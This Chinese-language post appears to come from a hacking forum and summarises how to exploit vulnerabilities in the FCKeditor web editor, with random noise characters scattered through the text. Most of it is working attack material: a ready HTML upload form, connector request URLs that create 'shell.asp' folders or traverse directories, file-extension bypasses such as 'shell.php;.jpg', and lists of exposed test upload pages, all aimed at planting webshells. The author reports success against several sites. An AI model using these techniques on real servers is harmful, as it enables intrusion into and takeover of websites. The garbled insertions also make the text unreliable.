Fckeditor漏洞利用总结
% M% N, | B {6 }: b查看编辑器版本' E3 `) V8 {1 @6 r
FCKeditor/_whatsnew.html
4 d) q- K& H e: x4 l- g& L8 n—————————————————————————————————————————————————————————————) O; u/ I& R Y6 I* C* S B
- k/ {+ S# e; I. N1 q2. Version 2.2 版本
: N- T- S8 {8 z: DApache+linux 环境下在上传文件后面加个.突破!测试通过。
[) u. n6 a% r. r" O—————————————————————————————————————————————————————————————0 w, S2 X1 `$ d7 _) c& a
: O8 S: t$ H3 v* J1 u" H3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
6 C! K: y& z1 V, t( R' E8 V/ K9 p( b<form id="frmUpload" enctype="multipart/form-data"
# `0 X$ i+ L# g, ?' I2 q6 ~4 Caction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>& N" w& Z- `0 G/ B& q; r3 t/ U
<input type="file" name="NewFile" size="50"><br>2 c( w% O3 N0 o7 _! F1 t. d4 u7 @
<input id="btnUpload" type="submit" value="Upload">
. Q% z% |4 {$ M) U- n7 {</form>
0 {. t$ [$ E4 ~' @7 `—————————————————————————————————————————————————————————————
. w1 A( Y1 h' Q L% l$ \5 ~: n ?
+ d% F/ d: V& k# m2 [7 e4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
- X" a! ^. O0 S; s, d$ S0 x$ ~2 m4 K 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。% e- `0 ^3 d* A# `/ a8 `
4.1:提交shell.php+空格绕过# U3 x$ [* v! _: F! {& W# |
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。! Z. @! [, r0 {+ H# z) [
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
! y, p/ F+ W- M—————————————————————————————————————————————————————————————5 }7 X' M {4 R
1 y3 t2 }3 D4 @ c& t$ j6 B5. 突破建立文件夹) m% N& M5 |% \& j J3 B
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684/ l3 J6 h$ W. k! n/ E2 c
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp5 u. C8 m& G# D8 j/ J+ p! |" Q
—————————————————————————————————————————————————————————————+ A7 m, ?- U0 U2 [4 u4 P; @- e
7 [& O H7 l4 r. l: T
6. FCKeditor 中test 文件的上传地址
8 E2 w! I* V8 p, gFCKeditor/editor/filemanager/browser/default/connectors/test.html
# Q. A% E. D% I( K# V ]FCKeditor/editor/filemanager/upload/test.html
+ W# l# M! n1 P, V8 bFCKeditor/editor/filemanager/connectors/test.html- V$ h5 ?5 @9 k1 c$ e$ b+ }* F7 _
FCKeditor/editor/filemanager/connectors/uploadtest.html3 q J/ T5 r+ I
—————————————————————————————————————————————————————————————
C1 O1 q, G# |0 S) X) _/ G" ^# l5 q/ D0 J+ ?' T8 i) t
7.常用上传地址
# V% v- B' V: C1 U& v5 u; SFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// P1 V4 q, ^6 L( c- t! I* V( `
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
& u" q( W9 }% \$ `5 E+ ? l) X4 PFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
1 I, C _1 P5 i, s; g: VJSP 版:" L; d3 h, P6 Z/ y- L
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp% r& T& _4 V* C5 A
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文4 u8 _& ?! g! p2 H+ S: z, c
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
% P, ]* o) F; H—————————————————————————————————————————————————————————————
, s$ ]- w& w. G" D( `
; j- j# s2 R2 W' Q) f* @8.其他上传地址
9 q- _, S/ p& R/ UFCKeditor/_samples/default.html- `% O% m7 X9 t- y
FCKeditor/_samples/asp/sample01.asp
$ X1 f: l+ r% [& EFCKeditor/_samples/asp/sample02.asp
4 b U* P) J# G+ W6 n! JFCKeditor/_samples/asp/sample03.asp
) S) [# C% `# y7 Q& J& h: n. ]FCKeditor/_samples/asp/sample04.asp8 `1 _3 p' D+ i y7 e" @
一般很多站点都已删除_samples 目录,可以试试。" \& T" t( m' a) H/ N4 f
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。, ?( R4 w @: m* U4 E/ X ?
—————————————————————————————————————————————————————————————
* @5 B3 K0 G; v0 ?
; Z1 u8 h' ^9 v# v2 {+ L9.列目录漏洞也可助找上传地址
- N' ]2 r8 W c g0 ?! ZVersion 2.4.1 测试通过3 z7 Q) m$ F7 H' E3 a1 b" F7 ^
修改CurrentFolder 参数使用 ../../来进入不同的目录# u1 Q0 W: O/ x2 i9 E2 W8 q
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
1 j4 X" ^/ r: D( I8 r根据返回的XML 信息可以查看网站所有的目录。
: |- g( r/ |/ |2 L7 T$ e( v: D# ^# }FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F& a6 @+ w0 o8 s' H3 C1 m8 {$ W& V
也可以直接浏览盘符:8 |" g/ x. B; {5 ]; s$ {9 X) s
JSP 版本:) J0 V+ j/ M9 w j# u1 Z/ l0 |
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
: v* |0 k. }; A$ m) M—————————————————————————————————————————————————————————————
2 n( q3 s v4 o( Q) @, P3 ^& `# J1 }( V' \ t2 i. f$ Z- c
10.爆路径漏洞: E; s: O5 q- e$ e2 \
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp$ u, P. h- M0 ]. m
—————————————————————————————————————————————————————————————8 M: c; e+ w4 d
, g& W8 Y9 Q' y7 B- \) h* g( |
11. FCKeditor 被动限制策略所导致的过滤不严问题
% O5 R0 C6 D, I$ L8 v2 ^' Z# W 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
9 R# C& V: j( g/ R脆弱描述:! t/ h n N. ?1 H( y' n5 T
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:- S: l# P! v$ T* C5 K H4 w
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
$ q2 q6 {. x0 X. Z0 k5 t6 TFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
6 i% x/ i. _; y1 N. t 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
' S# T" J9 j% j% o 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!# r5 }& d( c! N, O$ S2 t1 h- q
————————————————————————————————————————————————————————————— d- w+ H0 z, y4 r1 c6 u
: J* b; ~; R/ z3 T3 U6 Y0 g% q9 x
12.最古老的漏洞,Type文件没有限制!
4 `4 ?$ D" z8 d+ L9 S" c1 V- { a 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 2 x. [3 V# C7 s- J
—————————————————————————————————————————————————————————————
& ^( ]1 J6 E+ D, s7 ]5 W
8 `# _" Q5 `0 Z1 o/ D4 e; l0 G===============================================================================================================================================
/ _5 W0 u& H7 l, m, ?2 M
! z& Z# D6 m: W: Y! ?) d( ?+ ~8 JFCK编辑器jsp版本漏洞:: Z6 k& g: m$ `% w+ L% m, ?. i
. v1 v# _0 |5 _5 _
- b$ O& V( d1 vhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 U; i, J4 O V- X5 _' G; q+ E X7 Y% ]* k
上传马所在目录
9 e @6 }! w# [2 S( E$ ]6 HFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
m. Q6 { x6 i. o: s0 t上传shell的地址:. }/ K1 N, l3 G8 C) D# S0 A8 @7 h
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
- @, ?% T8 H. V0 y跟版本有关系.并不是百分百成功. 测试成功几个站.
; h' i$ N( @, {* d3 \不能通杀.很遗憾.- H4 r( ?5 f5 A" N& }
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
+ R/ @( E5 R% B$ _1 V如果以上地址不行可以试试
- k, f8 X. ^# Y2 v8 kFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
6 J. k2 r$ K& \' EFCKeditor/_samples/, A6 T8 t4 E. ~" E3 J5 t) C
FCKeditor/_samples/default.html
5 E" c" E _8 J4 ~& r4 K0 u' @ YFCKeditor/editor/fckeditor.htm5 M! W& z: \5 |' G! v
FCKeditor/editor/fckdialog.html
! a8 g: [; E* U1 f H+ q, c* {& W+ Z
$ u3 G1 @7 x) S4 O. P" w1 x5 V
/ h6 H3 B5 M3 u& O
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
1 k; |1 z; S, U% f5 W( \ |